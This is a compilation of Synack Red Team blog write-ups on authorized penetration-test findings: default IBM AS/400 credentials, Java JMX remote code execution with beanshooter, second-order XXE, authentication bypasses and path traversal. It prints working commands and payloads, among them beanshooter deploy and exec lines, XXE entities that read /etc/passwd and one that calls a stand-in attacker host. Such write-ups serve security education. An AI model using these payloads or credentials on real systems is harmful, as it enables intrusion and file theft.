Popeax is a member of the Synack Red Team.

Often people think security research requires deep knowledge of systems and exploits, and sometimes it does, but in this case all it took was some curiosity and a Google search to find an alarmingly simple exploit using default credentials.

On a recent host engagement, I discovered an unusual login page running on port 8080, a standard but less often used HTTP port. The login page did not resemble anything I had encountered in the thousands of login pages across hundreds of client engagements.

Nothing new. Even for a seasoned member of the Synack Red Team (SRT), it isn’t unusual to discover commercial products that one hasn’t seen before.

The login page clearly showed the product as some type of IBM server. In the URL, I noticed the string “profoundui.” A quick Internet search identified an IBM resource that stated:

“Profound UI is a graphical, browser-based framework that makes it easy to transform existing RPG applications into Web applications, or develop new rich Web and mobile applications that run on the IBM i (previously known as the AS/400, iSeries, System i) platform using RPG, PHP, or Node.js.”

Given these facts, I Googled for “IBM AS/400 default password” and found IBM documentation that listed default AS/400 credentials.

As any elite hacker would do, I copied and pasted all six default usernames and passwords into the login form.

Sure enough the last set of credentials worked with user QSRVBAS and password QSRVBAS.

It was beyond the scope of the engagement to proceed any further to see how much access was possible. The vulnerability was documented in the report that was given to the client to be remediated.

After a few days, the client requested a patch verification of the vulnerability using Synack’s patch verification workflow. This workflow allows a client to request the SRT to verify an implemented patch within the Synack Platform. After receiving the patch verification request, I quickly verified the vulnerability was no longer exploitable.

It is hard to believe, but even today commercial products still ship and are installed with default credentials. Often the onus is on the end user to be aware they must change the credentials and lock the default accounts.

The ingenuity and curiosity of the SRT cannot be replicated by scanners or automated technology. The SRT members are adept at finding this type of vulnerability in custom and commercial applications, even while running in obscure locations, which leads to exploitable vulnerabilities being surfaced to the customer.

The post Exploits Explained: Default Credentials Still a Problem Today appeared first on Synack.

Nicolas Krassas is a member of the Synack Red Team and has earned distinctions such as SRT Envoy and Guardian of Trust.

Of all the Synack targets, my favorite ones are always host assessments. There, one can find a multitude of services with different configurations, versions and usage. One that always caused me trouble was the Java RMI case, until I decided to spend time reviewing the process step by step.

Throughout the years there were several targets where skilled Synack Red Team (SRT) members were able to successfully exploit vulnerabilities with Remote Code Execution, and this information in many cases was missing from my arsenal. I set a goal to find out how the exploitation was taking place and to be able to better understand the tools and methods to finding and exploiting it.

A few “good to know” items:

What is Java RMI used for?

The Java Remote Method Invocation (RMI) system allows an object running in one Java virtual machine to invoke methods on an object running in another Java virtual machine. RMI provides for remote communication between programs written in the Java programming language.

What is JMX?

Wikipedia describes Java Management Extensions (JMX) as follows, “Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks.”

JMX is often described as the “Java version” of SNMP (Simple Network Management Protocol). SNMP is mainly used to monitor network components like network switches or routers. Like SNMP, JMX is also used for monitoring Java-based applications. The most common use case for JMX is monitoring the availability and performance of a Java application server from a central monitoring solution like Nagios, Icinga or Zabbix.

JMX also shares another similarity with SNMP: While most companies only use the monitoring capabilities, JMX is actually much more powerful. JMX allows the user not only to read values from the remote system, it can also be used to invoke methods on the system.

JMX fundamentals: MBeans

JMX allows you to manage resources as managed beans (MBean). An MBean is a Java Bean class that follows certain design rules of the JMX standard. An MBean can represent a device, an application or any resource that needs to be managed over JMX. You can access these MBeans via JMX, query attributes and invoke Bean methods.

The JMX standard differs between various MBean types; however, we will only deal with the standard MBeans here. To be a valid MBean, a Java class must:

• Implement an interface
• Provide a default constructor (without any arguments)
• Follow certain naming conventions, for example implement getter/setter methods to read/write attributes

MBean server

An MBean server is a service that manages the MBeans of a system, which we’ll see demonstrated in an attack later in this post. Developers can register their MBeans in the server following a specific naming pattern. The MBean server will forward incoming messages to the registered MBeans. The service is also responsible for forwarding messages from MBeans to external components.

After we have a JMX service running on RMI, we can go through the various ways such a service might be attacked. Over time, various attack techniques have been discovered that are related to JMX over RMI, and we will step through most of them one by one.

Abusing available MBeans

Applications are able to register additional MBeans, which can then be invoked remotely. JMX is commonly used for managing applications, therefore the MBeans are often very powerful.

A failed start

Starting research on the topic, the first items that one will see are references to rmiscout, an exceptional tool on the time that was created but not maintained anymore for over two years with several issues on deployment. At that time I moved on BaRMie, which surprisingly is even older than rmiscout but easier to work with for basic recon. An alternative tool, under the name mjet, seems to be more updated and somewhat easier to use but still my results were poor. As one can see right away, many times simply taking a tool from the shelves and trying to work with it is not a solution.

Back to school

Simply using the tools without understanding exactly what they do won’t work in the long run and that’s something that I was aware of from the start. But everybody is looking for shortcuts.  Back to reading then, and starting with posts such as this one and this one. I ended up on a relatively recent presentation from Tobias Neitzel, where he also presented his tools, RMG and Beanshooter.

New tools, new methods

With a better understanding and with a pair of excellent tools, the results were the following over the next months. 

On a target with several weeks already being launched, the RMI service was not noticed or exploited at that time. The following steps provided an RCE case.

Identifying:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  enum server_ip 9999

Tonka bean deployment:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka deploy server_ip 9999 –stager-url http://tupoc:8888 –no-stager

On our Tupoc (external Synack collaborator system) 

Waiting for a callback:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar stager xxx.xx.xx.xx 8888 tonka

Verification:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  tonka status server_ip 9999 

Command execution:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  tonka exec server_ip 9999 id

The case was awarded with a full RCE reward.

Not all cases will happen to be straightforward and in rare occasions issues might arise, but with better understanding of the process and the tools, we are always able to achieve better results.

References:
https://www.youtube.com/watch?v=t_aw1mDNhzI (Amazing work by Tobias Neitzel)
https://docs.jboss.org/jbossas/jboss4guide/r5/html/ch2.chapter.html
https://docs.alfresco.com/content-services/7.0/admin/jmx-reference/

Final notes

During the process, a few issues were identified in the tools that were handled swiftly and additionally an issue was created towards Glassfish repo under, https://github.com/eclipse-ee4j/glassfish/issues/24223.

The post Exploits Explained: Java JMX’s Exploitation Problems and Resolutions appeared first on Synack.

Kuldeep Pandya is a member of the Synack Red Team. You can find him on Twitter or his blog.

This writeup is about my recent discovery of a Second Order XXE that allowed me to read files stored on the web server.

One morning, a fresh target was onboarded and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps, so I loaded the collections with their environments into my postman.

After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying “DOCTYPE is not allowed”.

Here, we cannot perform XXE as DOCTYPE is explicitly blocked.

Upon checking all the modules one by one, I came across a module named NormalTextRepository in the postman collection which had the following two requests:

• saveNormalText
• GetNamedNormalText

After sending the first saveNormalText request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:

Upon decoding, the data looked like this:

<?xml version="1.0"?>
<normal xmlns="urn:hl7-org:v3" xmlns:XX="http://REDACTED.com/REDACTED"><content XX:statu

This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).

I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from PortSwigger:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/XXETEST"> %xxe; ]>

I used Synack’s provided web server to test for this. Upon checking its logs, I found there indeed was a hit for the /XXETEST endpoint.

This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from PayloadsAllTheThings and HackTricks but they did not seem to work in my case.

For me, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.

After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as I was able to send HTTP requests.

I sent the request to Burp Suite’s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:§1§/XXETEST"> %xxe; ]>

However, the result of the intruder didn’t make any sense to me. All the ports that I fuzzed were throwing random time delays.

I lost all hope and was about to give up on this XXE once again. Then a thought struck, “If this data is being saved in the application, it has to be retrievable in some way as well.” I checked the other GetNamedNormalText request in this module and instantly felt silly. This request retrieved the data that we saved from the first saveNormalText request.

I used the following XXE file read payload and saved the data:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>

Then sent the second GetNamedNormalText request to retrieve the saved data. And in the response, I could see the contents of the /etc/passwd file!

This was enough for a proof of concept. However, looking at the JSESSIONCOOKIE, I could tell that the application was built using Java. And, in Java applications, if you just provide a directory instead of a file, it will list down the contents of that directory and return it.

To confirm this theory, I just removed the /passwd portion from the above file read payload. The updated payload looked like this:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc"> ]>

Upon saving the above payload and retrieving it using the second request, we could see the directory listing of the /etc directory!

I sent it to Synack and they happily triaged it within approximately 2 hours.

The post Exploits Explained: Second Order XXE Exploitation appeared first on Synack.

Ozgur Alp is a member of the Synack Red Team and has been awarded SRT of the Year 2021, Most Trusted Hacker 2021, Mentor of the Year 2022 and SRT Grand Champion for 2019, 2020 and 2021.

Authentication bypass vulnerabilities are common flaws that exist in modern web applications—but they’re not always easy to find. 

New authentication methods are working wonders to boost cybersecurity at many organizations. While tools like single sign-on (SSO) are often an improvement over old ways of logging users in, these technologies can still contain critical vulnerabilities. Whether it’s business logic errors or some other software flaw, it takes a keen eye to comb through all the complexity.

In this blog, I’ll cover five real-world authentication bypass techniques that I have found in the Synack Platform throughout my time as a member of the Synack Red Team. 

Example #1 – Refresh Token Endpoint Misconfiguration

In this case, once a user logged into the application with valid credentials, it created a Bearer Authentication token used elsewhere in the application. This auth token expired after some time. Just before expiration, the application sent a request to the back-end server within the endpoint /refresh/tokenlogin containing the valid auth token in the headers and username parameter on the HTTP body section. 

Further testing revealed that deleting Authorization header on the request and changing the username parameter on the HTTP body created a new valid token for the supplied username. Using this exploit, an attacker with an anonymous profile could generate an authentication token for any user by just supplying their username. 

Example #2 – Improper SSO Configuration

Most applications use SSO systems because they are easier to securely manage than juggling many authentication portals. But simply using SSO does not automatically protect the system: Configurations to the SSO must be secured as well. 

Here, one application was using the Microsoft SSO system for authentication. When visiting the internal.redacted.com URL, the web browser made a redirect to the SSO system:

On first sight, it seemed secure, but analyzing the back-end requests showed the application returned an unusually large content-length (over 40,000 bytes!) on the redirection response. 

Why would an application do this? Well, it was misconfigured. The application was leaking its internal responses to every request while sending the user to the redirection to the SSO. So, it was possible to tamper the responses and change the 302 Found header to 200 OK and delete the entire Location header, giving access to the whole application.

Also, it was possible to make this process automatic by adding Match & Replace rules in Burp Suite to delete the header directly and change the values automatically. 

Example #3 – CMS Based Access Problems

Content management systems (CMS) like WordPress, Drupal and Hubspot need to be securely configured as well, lest they introduce vulnerabilities in your organization.

One popular CMS platform, Liferay, was used in an internal application in one case I examined. The application only had a single login page accessible without authentication, and all other pages were restricted on the application UI.

For those not familiar with Liferay, the CMS uses portlets for application workflow, which have a parameter as p_p_id within numeric numbers. For that application, it was possible to access the login portlet by changing the parameter to value 58. On the normal login page, only the login form was accessible. However, by accessing the portlet directly, it was possible to reach the Create Account functionality, which then allowed self-registration to access internal applications without proper authorization.

Please note that while Liferay used this workflow before, its latest version uses portlet names instead of numeric ids. Still, it is possible to access other portlets by changing names as well.

Example #4 – Usage of Example JWT Tokens

JWT tokens, or JSON web tokens, are popular on new web applications. But while they have a secure mechanism by default, back-end server configuration should be secured, too. 

I worked on an assignment where SSO authentication was used for their internal applications. When visited directly, the application redirected the user to the Microsoft SSO web page. So far, so good. 

However, some JS files were accessible without authentication. Testing revealed that the application used JWT tokens that were sent via the Microsoft SSO system after a secure login. On the back-end mechanism, there was a security misconfiguration that didn’t check if the JWT token was generated for that specific application–instead, it accepted any JWT token that had a valid signature. So, using an example JWT token from Microsoft’s website: 

 

Within generic values:

It was possible to access the internal endpoints, leaking the company data. 

Example #5 – Changing Authentication Type to Null

In this instance, an application was sent all requests on the HTTP post data via base64 encoded XML requests. On the login mechanism, it sent the username as parameter alias and password as scode. The value inside the scode parameter was hashed. A quick analysis showed it used an md5 value of the supplied password value. There was another interesting sign in the request: scode had an attribute as type valued with 2. 

I tried assigning the value to 1, which would accept the cleartext password. It worked! So, brute force within cleartext values was possible. Not a big deal, but it was a sign I was on the right path. What about assigning it to the null values? Or other values such as -1, 0 or 9999999999? Most of them returned an error code except value 0. I tried several things with the attribute 0 but had no luck until I sent the password value as an empty value. 

I realized it was possible to access any account by simply supplying the usernames and empty passwords. It turned out to be quite a big bug. 

Conclusion

Complex authentication mechanisms can fall prey to undiscovered attack vectors, especially on applications prone to business logic flaws. Because automatic scanners mostly fail to key into these kinds of vulnerabilities, human power is still needed to find them. Given the complexity of modern software environments, no single security researcher can pick up on all possible vulnerabilities or attack vectors. On-demand security testing with a vetted community of researchers is the best way to combine everyone’s unique knowledge to find the vulnerabilities that matter. 

You can find Ozgur on  Twitter, LinkedIn and Medium.

The post Exploits Explained: 5 Unusual Authentication Bypass Techniques appeared first on Synack.

By Kuldeep Pandya

 

Hi, guys!

This blog will be about all the different kinds of Path Traversals and Local File Inclusion vulnerabilities that I have found in Synack Red Team.

After hacking on Synack Red Team for approximately 9 months, I came to realize that Path Traversal and LFI like vulnerabilities are very common. I reported a few authenticated vulnerabilities and a few unauthenticated. However, I will try to cover both kinds of vulnerabilities.

Before moving forward, I’d like to list all my Path Traversal/LFI submissions.

Submissions

Submission	Status
Path Traversal Vulnerability Leads To Source Code Disclosure	Accepted
Local File Inclusion in VMWare VCenter running at [REDACTED]	Accepted
Spring Boot Path Traversal – CVE-2020-5410	Accepted
Local File Inclusion In download.php	Accepted
Local File Inclusion In download.php	Rejected (Duplicated my previous report)
Local File Inclusion In download.php	Rejected (Duplicated during Initial Launch Period)
Path Traversal Allows To Download Licence Keys	Accepted

Descriptions

Path Traversal Vulnerability Leads To Source Code Disclosure

This was the very first Path Traversal vulnerability that I had found in Synack Red Team. Also, even though I was pretty new to the platform and to the whole bug bounty thing in general, this report was selected during the Initial Launch Period, where the best write-up is chosen, not necessarily the first valid report.

After logging into the application, the application provided a bunch of sections like manage vendors, manage inventory, etc with a bunch of functionalities.

Upon further inspecting these sections, I came across an interesting functionality that involved importing the data. The file was named DataImport.view.

I tried getting RCE by uploading an ASPX web shell and it actually worked! Reported it and that report got accepted too! However, that’s a different story. We want to discuss Path Traversals here and not RCEs.

So, after successfully uploading a file, we were given the functionality to read the file.

After clicking the “ReadFile” button, it filled the file name field to the current uploaded filename by default. However, we had the ability to change the file name.

Now, I just had to provide a valid file name. For this, I used the Auth.aspx to which the login request was sent. I could be sure that this exists because a login request was sent to this file and it resided in the webroot.

So, I tried to do path traversal using payloads like ../Auth.aspx and ../../Auth.aspx etc.

And, after three ../ sequences, the file was actually returned!

The response looked like this:

The file was broken because some sort of XML parsing was done on it. I still went ahead and reported it because it was still a path traversal issue and disclosed source code contents.

I could do more creative things here like pulling more sensitive files but I stopped here because very limited time was left in the Initial Launch Period. I initially did not care much for this vulnerability as I had already reported an RCE there but then quickly made a report in under 15 minutes putting together all my PoCs and I still had my report selected as the best write-up during the Initial Launch Period.

Local File Inclusion in VMWare VCenter Running at [REDACTED]

This was the classic VMWare VCenter /eam/vib LFI vulnerability.

The /eam/vib endpoint in VMWare VCenter instances takes a parameter named id in the GET request. The value to this id parameter is a file name that will be retrieved by the VCenter instance and will be given back in the response.

There are already many resources regarding this particular vulnerability and I do not think much is to be said about it in this particular article.

I used the following payload to retrieve the hosts file off the remote server:

There were some IP to host mappings in the hosts file which I thought was enough for impact but with creativity, more could have been achieved.

I reported the issue during the Initial Launch Period, and this was selected.

Spring Boot Path Traversal — CVE-2020-5410

This was a known vulnerability in Spring Boot Cloud Config server. For PoC, I referred to this article here:  http://www.jrasp.com/case/CVE-2020-5410.html

That article talks in detail about the vulnerability and also explains the source code.

I did not read that much and simply took the PoC from there and used it on the target that I had for testing. And the exploit worked!

I used the same payload as in the PoC which is:

The above payload retrieves the /etc/passwd file.

However, this was Java and one odd thing about Java Path Traversals/LFIs is that if you specify a directory instead of a file for opening, it will actually list the content of that directory.

So, for example, if I did not know what files were in the /etc directory, I would simply use the following payload to list all the files:

This is just the previous payload with the trailing /passwd removed. Now, we are just listing the contents of the /etc directory.

I used this feature to list the contents of the root directory in the affected Linux server. In the root directory, I found a file named application.jar which was potentially the source code of the currently running Spring Boot Cloud Config server.

Also, the root directory had a file .dockerenv so I was quite sure that I was in a docker container.

However, Synack Red Team has the stop-and-report policy according to which, we are not supposed to do post-exploitation.

I reported the issue during the 8 hour initial launch period. And nobody checked for this particular vulnerability, so mine was the only report during that time.

Local File Inclusion in download.php

I have already discussed this vulnerability in my previous article and you can find it here:  Local File Inclusion In download.php

Path Traversal Allows To Download Licence Keys

This path traversal was also very interesting. This was in a custom-built application and it did not require any authentication.

When we visited the webroot, the web application redirected us to the login page.

The login page was custom built and there was a brand logo along with the login page so I cannot show you the screenshots.

Upon visiting the login page, a request to the /web/product_logo endpoint was sent. The request contained a GET parameter named logo.

Overall, the request URL looked like this:

The parameter logo took a file name as the input and returned that particular file in the response. In this case, it was logo.png.

Now, as this is functionality to read files, there may be a potential LFI/Path Traversal here. So, I changed the file name to random file names like index.html, index.php, index.js etc. However, none of them worked.

So, I ran ffuf hoping to discover more files but it was a failure. I used the raft-small-files-lowercase.txt provided in the SecLists.

I did not know the underlying technology which is used so it was quite painful to enumerate files.

However, I knew it was a Windows box because of the case-insensitive directory structure. What it basically means is that, in Windows, WinDows and Windows are the same directories/files as it is not case sensitive. And when I was doing my recon, I received the same response when I did /web or /Web so I was quite sure it was a Windows box.

There are other ways to determine this too but I decided to assume it was Windows.

Same as my past submissions, I decided to read the C:/WINDOWS/System32/drivers/etc/hosts file of the remote server.

So, I used a path traversal payload and the final URL looked like this:

However, one ../ sequence did not work. So I kept increasing the ../ sequences.

Finally after 10 ../ sequences, I finally hit the hosts file and the server retrieved it for us.

The final payload looked like this:

The post Path Traversal Paradise appeared first on Synack.